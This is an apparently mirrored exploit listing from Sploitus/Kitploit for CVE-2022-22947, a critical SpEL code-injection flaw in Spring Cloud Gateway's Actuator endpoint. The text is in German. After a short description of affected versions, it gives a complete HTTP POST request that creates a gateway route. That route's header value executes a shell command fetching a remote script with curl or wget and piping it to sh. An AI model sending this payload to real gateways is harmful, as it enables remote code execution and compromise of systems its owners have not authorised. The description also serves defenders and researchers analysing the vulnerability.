Sploitus

Exploit for CVE-2022-22947

kitploit · 2026-08-28

Exploit Code

MARKDOWN28 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SUMITPATHANIA03-CVE-2022-22947
# CVE-2022-22947

CVE-2022-22947 (Spring-Cloud-Gateway) Im ersten Quartal 2022 wurde eine interessante und kritische (Basisbewertung 10.0) Sicherheitslücke in Spring Cloud Gateway entdeckt, die eine Code-Injection über die Actuator-API zur Durchführung von SpEL-Injection ermöglicht und potenziell zu einer Systemkompromittierung führen kann. Spring Cloud Gateway Versionen vor 3.1.1+ und 3.0.7+ In Spring Cloud Gateway sind Anwendungen anfällig für einen Code-Injection-Angriff, WENN:Der Gateway Actuator-Endpunkt aktiviert, freigegeben und ungesichert ist.

## SCHWACHSTELLEN-FLUSSDIAGRAMM

![spring](https://assets.kitploit.com/production/public/readmes/20902/e193aa762c5821796f07a03a9efe460c444ecfc8ce47be2ac0c9a61f83d0cae7.png)

## PCAP-ANALYSE

  1. DER ANGREIFER SENDET EINE POST-ANFRAGE + JSON ZUR ERSTELLUNG EINER NEUEN ROUTE IM GATEWAY UND KONFIGURIERT MIT DER JSON-KONFIGURATIONSDATEI DEN RESPONSE-HEADER DIESER ROUTE



root@kitploit:~
    
    
    POST /actuator/gateway/routes/xwpdsdeb HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive
    Content-Type: application/json
    Content-Length: 372
    
    {"id": "BuOHOGeywH", "filters": [{"name": "AddResponseHeader", "args": {"name": "Result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}], "uri": "http://example.com", "order": 0}